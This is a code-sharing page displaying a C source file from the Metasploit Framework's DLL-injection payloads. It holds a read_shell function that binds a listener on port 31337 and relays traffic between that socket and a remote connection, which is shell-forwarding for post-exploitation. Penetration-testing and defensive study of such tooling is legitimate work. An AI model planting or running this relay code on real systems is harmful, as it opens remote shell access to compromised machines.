CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/dllinject/shell.c
Views: 11766
1
2
VOID read_shell(SOCKET remote)
3
{
4
SOCKET srv, local = 0, from, to, high;
5
struct sockaddr_in s;
6
CHAR buf[8192];
7
int on = 1, bytes;
8
fd_set fdread;
9
struct timeval tv;
10
char passphrase[9];
11
12
13
fflush(stdout);
14
15
16
do
17
{
18
if ((srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
19
{
20
printf("socket\n");
21
break;
22
}
23
24
s.sin_family = AF_INET;
25
s.sin_port = htons(31337);
26
s.sin_addr.s_addr = INADDR_ANY;
27
28
setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
29
30
if (bind(srv, (struct sockaddr *)&s, sizeof(s)) < 0)
31
{
32
printf("bind\n");
33
break;
34
}
35
36
if (listen(srv, 1) < 0)
37
{
38
printf("listen\n");
39
break;
40
}
41
42
local = accept(srv, NULL, NULL);
43
44
} while (0);
45
46
high = local;
47
48
if (remote > high)
49
high = remote;
50
51
printf("[*] Forwarding local=%d<->remote=%d...\n", local, remote);
52
53
while ((local) && (remote))
54
{
55
FD_ZERO(&fdread);
56
FD_SET(local, &fdread);
57
FD_SET(remote, &fdread);
58
59
tv.tv_sec = 1;
60
tv.tv_usec = 0;
61
62
if (select(high + 1, &fdread, NULL, NULL, &tv) < 0)
63
break;
64
65
if (FD_ISSET(remote, &fdread))
66
{
67
from = remote;
68
to = local;
69
}
70
else
71
{
72
from = local;
73
to = remote;
74
}
75
76
ioctlsocket(from, FIONREAD, &bytes);
77
78
if ((bytes = recv(from, buf, sizeof(buf), 0)) <= 0)
79
break;
80
81
if (send(to, buf, bytes, 0) < 0)
82
{
83
printf("send failed, %lu\n", GetLastError());
84
break;
85
}
86
}
87
88
printf("[*] Finished\n");
89
}
90
91